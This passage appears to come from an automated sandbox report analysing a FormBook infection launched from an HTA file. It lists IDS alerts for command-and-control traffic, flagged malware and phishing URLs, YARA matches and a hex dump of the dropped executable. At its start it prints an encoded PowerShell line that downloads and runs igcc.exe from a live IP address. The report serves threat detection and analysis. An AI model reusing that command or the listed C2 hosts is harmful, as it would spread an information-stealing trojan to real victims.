CAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRac29kaGg3a1g6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xNzIuMjQ1LjIwOC4yMS8yMzMvaWdjYy5leGUiLCIkRU5WOkFQUERBVEFcaWdjYy5leGUiLDAsMCk7c3RhUnQtc0xlZVAoMyk7aW52T0tlLWlURW0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRlTnY6QVBQREFUQVxpZ2NjLmV4ZSI='+[CHaR]34+'))')))", ParentImage: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 7716, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\qetstupm\qetstupm.cmdline", ProcessId: 8064, ProcessName: csc.exe

Suricata Signatures

ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-04-15T17:19:39.950913+0200	2022050	1	A Network Trojan was detected	172.245.208.21	80	192.168.2.4	49721	TCP

ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-04-15T17:19:40.227758+0200	2022051	1	A Network Trojan was detected	172.245.208.21	80	192.168.2.4	49721	TCP

ETPRO MALWARE FormBook CnC Checkin (GET) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-04-15T17:20:29.080987+0200	2855465	1	A Network Trojan was detected	192.168.2.4	49723	168.76.121.210	80	TCP
2025-04-15T17:20:52.607697+0200	2855465	1	A Network Trojan was detected	192.168.2.4	49728	173.255.194.134	80	TCP
2025-04-15T17:21:16.474432+0200	2855465	1	A Network Trojan was detected	192.168.2.4	49732	13.248.169.48	80	TCP
2025-04-15T17:21:31.473477+0200	2855465	1	A Network Trojan was detected	192.168.2.4	49736	103.105.23.222	80	TCP
2025-04-15T17:21:47.288074+0200	2855465	1	A Network Trojan was detected	192.168.2.4	49740	156.237.132.252	80	TCP
2025-04-15T17:22:01.319514+0200	2855465	1	A Network Trojan was detected	192.168.2.4	49744	159.198.64.72	80	TCP
2025-04-15T17:22:15.091476+0200	2855465	1	A Network Trojan was detected	192.168.2.4	49748	104.21.96.1	80	TCP
2025-04-15T17:22:36.798917+0200	2855465	1	A Network Trojan was detected	192.168.2.4	49752	199.59.243.160	80	TCP
2025-04-15T17:22:51.397675+0200	2855465	1	A Network Trojan was detected	192.168.2.4	49756	13.248.169.48	80	TCP
2025-04-15T17:23:05.959781+0200	2855465	1	A Network Trojan was detected	192.168.2.4	49760	45.130.41.113	80	TCP
2025-04-15T17:23:21.466559+0200	2855465	1	A Network Trojan was detected	192.168.2.4	49764	18.139.62.226	80	TCP
2025-04-15T17:23:35.251142+0200	2855465	1	A Network Trojan was detected	192.168.2.4	49768	172.67.217.184	80	TCP
2025-04-15T17:23:53.000995+0200	2855465	1	A Network Trojan was detected	192.168.2.4	49772	13.248.169.48	80	TCP

ETPRO MALWARE FormBook CnC Checkin (POST) M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-04-15T17:20:44.601552+0200	2855464	1	A Network Trojan was detected	192.168.2.4	49725	173.255.194.134	80	TCP
2025-04-15T17:20:47.273775+0200	2855464	1	A Network Trojan was detected	192.168.2.4	49726	173.255.194.134	80	TCP
2025-04-15T17:20:49.939547+0200	2855464	1	A Network Trojan was detected	192.168.2.4	49727	173.255.194.134	80	TCP
2025-04-15T17:21:07.461688+0200	2855464	1	A Network Trojan was detected	192.168.2.4	49729	13.248.169.48	80	TCP
2025-04-15T17:21:11.136466+0200	2855464	1	A Network Trojan was detected	192.168.2.4	49730	13.248.169.48	80	TCP
2025-04-15T17:21:13.809200+0200	2855464	1	A Network Trojan was detected	192.168.2.4	49731	13.248.169.48	80	TCP
2025-04-15T17:21:22.901273+0200	2855464	1	A Network Trojan was detected	192.168.2.4	49733	103.105.23.222	80	TCP
2025-04-15T17:21:25.766056+0200	2855464	1	A Network Trojan was detected	192.168.2.4	49734	103.105.23.222	80	TCP
2025-04-15T17:21:28.614161+0200	2855464	1	A Network Trojan was detected	192.168.2.4	49735	103.105.23.222	80	TCP
2025-04-15T17:21:38.685744+0200	2855464	1	A Network Trojan was detected	192.168.2.4	49737	156.237.132.252	80	TCP
2025-04-15T17:21:41.542837+0200	2855464	1	A Network Trojan was detected	192.168.2.4	49738	156.237.132.252	80	TCP
2025-04-15T17:21:44.440969+0200	2855464	1	A Network Trojan was detected	192.168.2.4	49739	156.237.132.252	80	TCP
2025-04-15T17:21:52.908309+0200	2855464	1	A Network Trojan was detected	192.168.2.4	49741	159.198.64.72	80	TCP
2025-04-15T17:21:55.784174+0200	2855464	1	A Network Trojan was detected	192.168.2.4	49742	159.198.64.72	80	TCP
2025-04-15T17:21:58.561192+0200	2855464	1	A Network Trojan was detected	192.168.2.4	49743	159.198.64.72	80	TCP
2025-04-15T17:22:07.061025+0200	2855464	1	A Network Trojan was detected	192.168.2.4	49745	104.21.96.1	80	TCP
2025-04-15T17:22:09.697420+0200	2855464	1	A Network Trojan was detected	192.168.2.4	49746	104.21.96.1	80	TCP
2025-04-15T17:22:12.382549+0200	2855464	1	A Network Trojan was detected	192.168.2.4	49747	104.21.96.1	80	TCP
2025-04-15T17:22:28.800984+0200	2855464	1	A Network Trojan was detected	192.168.2.4	49749	199.59.243.160	80	TCP
2025-04-15T17:22:31.455832+0200	2855464	1	A Network Trojan was detected	192.168.2.4	49750	199.59.243.160	80	TCP
2025-04-15T17:22:34.151778+0200	2855464	1	A Network Trojan was detected	192.168.2.4	49751	199.59.243.160	80	TCP
2025-04-15T17:22:42.384012+0200	2855464	1	A Network Trojan was detected	192.168.2.4	49753	13.248.169.48	80	TCP
2025-04-15T17:22:45.052134+0200	2855464	1	A Network Trojan was detected	192.168.2.4	49754	13.248.169.48	80	TCP
2025-04-15T17:22:47.719965+0200	2855464	1	A Network Trojan was detected	192.168.2.4	49755	13.248.169.48	80	TCP
2025-04-15T17:22:58.133769+0200	2855464	1	A Network Trojan was detected	192.168.2.4	49757	45.130.41.113	80	TCP
2025-04-15T17:23:00.399159+0200	2855464	1	A Network Trojan was detected	192.168.2.4	49758	45.130.41.113	80	TCP
2025-04-15T17:23:03.183470+0200	2855464	1	A Network Trojan was detected	192.168.2.4	49759	45.130.41.113	80	TCP
2025-04-15T17:23:12.945399+0200	2855464	1	A Network Trojan was detected	192.168.2.4	49761	18.139.62.226	80	TCP
2025-04-15T17:23:15.730176+0200	2855464	1	A Network Trojan was detected	192.168.2.4	49762	18.139.62.226	80	TCP
2025-04-15T17:23:18.595414+0200	2855464	1	A Network Trojan was detected	192.168.2.4	49763	18.139.62.226	80	TCP
2025-04-15T17:23:27.232281+0200	2855464	1	A Network Trojan was detected	192.168.2.4	49765	172.67.217.184	80	TCP
2025-04-15T17:23:29.880358+0200	2855464	1	A Network Trojan was detected	192.168.2.4	49766	172.67.217.184	80	TCP
2025-04-15T17:23:32.562621+0200	2855464	1	A Network Trojan was detected	192.168.2.4	49767	172.67.217.184	80	TCP
2025-04-15T17:23:41.967467+0200	2855464	1	A Network Trojan was detected	192.168.2.4	49769	13.248.169.48	80	TCP
2025-04-15T17:23:45.649381+0200	2855464	1	A Network Trojan was detected	192.168.2.4	49770	13.248.169.48	80	TCP
2025-04-15T17:23:49.323988+0200	2855464	1	A Network Trojan was detected	192.168.2.4	49771	13.248.169.48	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: http://www.anyang-590303492.click/6npl/?UV90oJV=/JYiv5NhO0tELAK8hKXRL6yPw09VuQMvi5BuLmngF2OWbpzZErtHeLuo5nDg79GzI2QTdod40q0r+J2P58yW7/6plb4OcALkiS6guO79bLlT8DxgdN065to=&LVsla=JHrxl4t	Avira URL Cloud: Label: malware
Source: http://www.worrr37.yachts/1imc/?UV90oJV=GkZ+7lZN5ZbT6rZArZ+XuW2LS/GQFqiR2eAXidPe90Y9rybDHdv8GRqVb6FfMfkpXSVDgNv2zaXT/X0CpEMHyOeTTSnvzCMVpGnq9juhbcH3k1fZ/Ho823c=&LVsla=JHrxl4t	Avira URL Cloud: Label: phishing
Source: http://www.soportemx-findmy.click/ma0g/	Avira URL Cloud: Label: phishing
Source: http://www.play-venom-rush.xyz	Avira URL Cloud: Label: malware
Source: http://www.play-venom-rush.xyz/pji1/?LVsla=JHrxl4t&UV90oJV=oPSxN0d9Y70P2riykwj378jDK4dA5CWov285JwcUKQzMmNdemng31QxGRPhWi1n81NmvKhZ2Lkv1YeaEtRyFRChPj4DjhNDfDC0AWPeNp3jL6YRDWHxMF/w=	Avira URL Cloud: Label: malware
Source: http://www.soportemx-findmy.click/ma0g?gp=1&js=1&uuid=1744730452.0012257657&other_args=eyJ1cmkiOiAiL	Avira URL Cloud: Label: phishing
Source: http://www.play-venom-rush.xyz/pji1/	Avira URL Cloud: Label: malware
Source: http://www.soportemx-findmy.click/ma0g/?LVsla=JHrxl4t&UV90oJV=H2S90RmziCMvLCuK8yTaL3f2umhuNHnT+UjWuF5QkK5TSoHa4lhKP7xjBIvwYHsxlglzK0GWG6GIcHietPpqxtVwo9BPmEy9xm5LwWe49kMrhYdXnmUTf+U=	Avira URL Cloud: Label: phishing
Source: http://www.anyang-590303492.click/6npl/	Avira URL Cloud: Label: malware
Source: http://www70.soportemx-findmy.click/	Avira URL Cloud: Label: phishing

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\igcc[1].exe	ReversingLabs: Detection: 41%
Source: C:\Users\user\AppData\Roaming\igcc.exe	ReversingLabs: Detection: 41%

Multi AV Scanner detection for submitted file

Source: njo.hta	Virustotal: Detection: 40%			Perma Link
Source: njo.hta	ReversingLabs: Detection: 27%

Yara detected FormBook

Source: Yara match	File source: 13.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000010.00000002.3663915117.0000000003080000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.3664272191.0000000003320000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.1614478454.0000000007480000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.1609453239.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.3675591492.0000000006A30000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.3664383512.0000000003370000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.1611189571.00000000047A0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.3666208376.0000000002DE0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

Joe Sandbox ML detected suspicious sample

Source: Submited Sample

Neural Call Log Analysis: 99.4%

Source:	Binary string: ATBroker.pdb source: svchost.exe, 0000000D.00000003.1576499115.000000000342B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.1576388151.000000000341B000.00000004.00000020.00020000.00000000.sdmp, WRNKS5Hlc0y.exe, 0000000F.00000003.1681787984.0000000000548000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: igcc.exe, 0000000C.00000003.1362520045.0000000004020000.00000004.00001000.00020000.00000000.sdmp, igcc.exe, 0000000C.00000003.1360820679.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.1610420128.0000000003B9E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.1507905161.0000000003600000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.1509975834.0000000003800000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.1610420128.0000000003A00000.00000040.00001000.00020000.00000000.sdmp, AtBroker.exe, 00000010.00000002.3666132989.00000000052CE000.00000040.00001000.00020000.00000000.sdmp, AtBroker.exe, 00000010.00000003.1612443700.0000000004F80000.00000004.00000020.00020000.00000000.sdmp, AtBroker.exe, 00000010.00000003.1609657209.0000000004DD2000.00000004.00000020.00020000.00000000.sdmp, AtBroker.exe, 00000010.00000002.3666132989.0000000005130000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: igcc.exe, 0000000C.00000003.1362520045.0000000004020000.00000004.00001000.00020000.00000000.sdmp, igcc.exe, 0000000C.00000003.1360820679.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 0000000D.00000002.1610420128.0000000003B9E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.1507905161.0000000003600000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.1509975834.0000000003800000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.1610420128.0000000003A00000.00000040.00001000.00020000.00000000.sdmp, AtBroker.exe, 00000010.00000002.3666132989.00000000052CE000.00000040.00001000.00020000.00000000.sdmp, AtBroker.exe, 00000010.00000003.1612443700.0000000004F80000.00000004.00000020.00020000.00000000.sdmp, AtBroker.exe, 00000010.00000003.1609657209.0000000004DD2000.00000004.00000020.00020000.00000000.sdmp, AtBroker.exe, 00000010.00000002.3666132989.0000000005130000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: q7C:\Users\user\AppData\Local\Temp\qetstupm\qetstupm.pdb source: powershell.exe, 00000003.00000002.1374616824.0000000004991000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: ATBroker.pdbGCTL source: svchost.exe, 0000000D.00000003.1576499115.000000000342B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.1576388151.000000000341B000.00000004.00000020.00020000.00000000.sdmp, WRNKS5Hlc0y.exe, 0000000F.00000003.1681787984.0000000000548000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: C:\Work\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: WRNKS5Hlc0y.exe, 0000000F.00000002.3664843128.000000000062F000.00000002.00000001.01000000.0000000A.sdmp

Source: C:\Users\user\AppData\Roaming\igcc.exe	Code function: 12_2_0007445A GetFileAttributesW,FindFirstFileW,FindClose,	12_2_0007445A
Source: C:\Users\user\AppData\Roaming\igcc.exe	Code function: 12_2_0007C6D1 FindFirstFileW,FindClose,	12_2_0007C6D1
Source: C:\Users\user\AppData\Roaming\igcc.exe	Code function: 12_2_0007C75C FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	12_2_0007C75C
Source: C:\Users\user\AppData\Roaming\igcc.exe	Code function: 12_2_0007EF95 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	12_2_0007EF95
Source: C:\Users\user\AppData\Roaming\igcc.exe	Code function: 12_2_0007F0F2 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	12_2_0007F0F2
Source: C:\Users\user\AppData\Roaming\igcc.exe	Code function: 12_2_0007F3F3 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	12_2_0007F3F3
Source: C:\Users\user\AppData\Roaming\igcc.exe	Code function: 12_2_000737EF FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	12_2_000737EF
Source: C:\Users\user\AppData\Roaming\igcc.exe	Code function: 12_2_00073B12 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	12_2_00073B12
Source: C:\Users\user\AppData\Roaming\igcc.exe	Code function: 12_2_0007BCBC FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	12_2_0007BCBC

Source: C:\Program Files (x86)\GSuVlZLJvYBiwWmRwxSqNDCqctQDFEzoiYNZPHkdLLawvxxNaIbP\WRNKS5Hlc0y.exe	Code function: 4x nop then pop edi	15_2_06A3CCBD
Source: C:\Program Files (x86)\GSuVlZLJvYBiwWmRwxSqNDCqctQDFEzoiYNZPHkdLLawvxxNaIbP\WRNKS5Hlc0y.exe	Code function: 4x nop then xor eax, eax	15_2_06A424FB
Source: C:\Program Files (x86)\GSuVlZLJvYBiwWmRwxSqNDCqctQDFEzoiYNZPHkdLLawvxxNaIbP\WRNKS5Hlc0y.exe	Code function: 4x nop then pop edi	15_2_06A4DAB8

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2022050 - Severity 1 - ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 : 172.245.208.21:80 -> 192.168.2.4:49721
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:49723 -> 168.76.121.210:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49726 -> 173.255.194.134:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49734 -> 103.105.23.222:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49730 -> 13.248.169.48:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49742 -> 159.198.64.72:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49725 -> 173.255.194.134:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:49736 -> 103.105.23.222:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49733 -> 103.105.23.222:80
Source: Network traffic	Suricata IDS: 2022051 - Severity 1 - ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M2 : 172.245.208.21:80 -> 192.168.2.4:49721
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49739 -> 156.237.132.252:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49737 -> 156.237.132.252:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49731 -> 13.248.169.48:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49745 -> 104.21.96.1:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:49728 -> 173.255.194.134:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:49748 -> 104.21.96.1:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:49764 -> 18.139.62.226:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49761 -> 18.139.62.226:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49754 -> 13.248.169.48:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49753 -> 13.248.169.48:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49769 -> 13.248.169.48:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49766 -> 172.67.217.184:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:49760 -> 45.130.41.113:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49759 -> 45.130.41.113:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49770 -> 13.248.169.48:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49771 -> 13.248.169.48:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49746 -> 104.21.96.1:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49762 -> 18.139.62.226:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49743 -> 159.198.64.72:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49738 -> 156.237.132.252:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49741 -> 159.198.64.72:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:49744 -> 159.198.64.72:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:49732 -> 13.248.169.48:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49747 -> 104.21.96.1:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49727 -> 173.255.194.134:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49763 -> 18.139.62.226:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:49752 -> 199.59.243.160:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49755 -> 13.248.169.48:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49765 -> 172.67.217.184:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:49740 -> 156.237.132.252:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:49756 -> 13.248.169.48:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49729 -> 13.248.169.48:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49758 -> 45.130.41.113:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:49768 -> 172.67.217.184:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49750 -> 199.59.243.160:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49751 -> 199.59.243.160:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49735 -> 103.105.23.222:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49749 -> 199.59.243.160:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:49772 -> 13.248.169.48:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49767 -> 172.67.217.184:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49757 -> 45.130.41.113:80

Performs DNS queries to domains with low reputation

Source:	DNS query: www.vczuahand.xyz
Source:	DNS query: www.855696a.xyz
Source:	DNS query: www.play-venom-rush.xyz
Source:	DNS query: www.jicode.xyz

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 15 Apr 2025 15:19:39 GMTServer: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12Last-Modified: Tue, 15 Apr 2025 05:37:48 GMTETag: "122c00-632ca91a2bb10"Accept-Ranges: bytesContent-Length: 1190912Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/x-msdownloadData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 36 1c ad cf 72 7d c3 9c 72 7d c3 9c 72 7d c3 9c 34 2c 22 9c 70 7d c3 9c ec dd 04 9c 73 7d c3 9c 7f 2f 1c 9c 41 7d c3 9c 7f 2f 23 9c c3 7d c3 9c 7f 2f 22 9c 47 7d c3 9c 7b 05 40 9c 7b 7d c3 9c 7b 05 50 9c 57 7d c3 9c 72 7d c2 9c 52 7f c3 9c 0f 04 29 9c 22 7d c3 9c 0f 04 1c 9c 73 7d c3 9c 7f 2f 18 9c 73 7d c3 9c 72 7d 54 9c 73 7d c3 9c 0f 04 1d 9c 73 7d c3 9c 52 69 63 68 72 7d c3 9c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 99 f0 fd 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0c 00 00 de 08 00 00 4a 09 00 00 00 00 00 cd 7d 02 00 00 10 00 00 00 f0 08 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 a0 12 00 00 04 00 00 23 7b 12 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4c a4 0b 00 7c 01 00 00 00 70 0c 00 14 a3 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 12 00 1c 71 00 00 c0 2b 09 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 70 48 0a 00 40 00 00 00 00 00 00 00 00 00 00 00 00 f0 08 00 84 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 c4 dc 08 00 00 10 00 00 00 de 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 0e e1 02 00 00 f0 08 00 00 e2 02 00 00 e2 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 74 8f 00 00 00 e0 0b 00 00 52 00 00 00 c4 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 14 a3 05 00 00 70 0c 00 00 a4 05 00 00 16 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 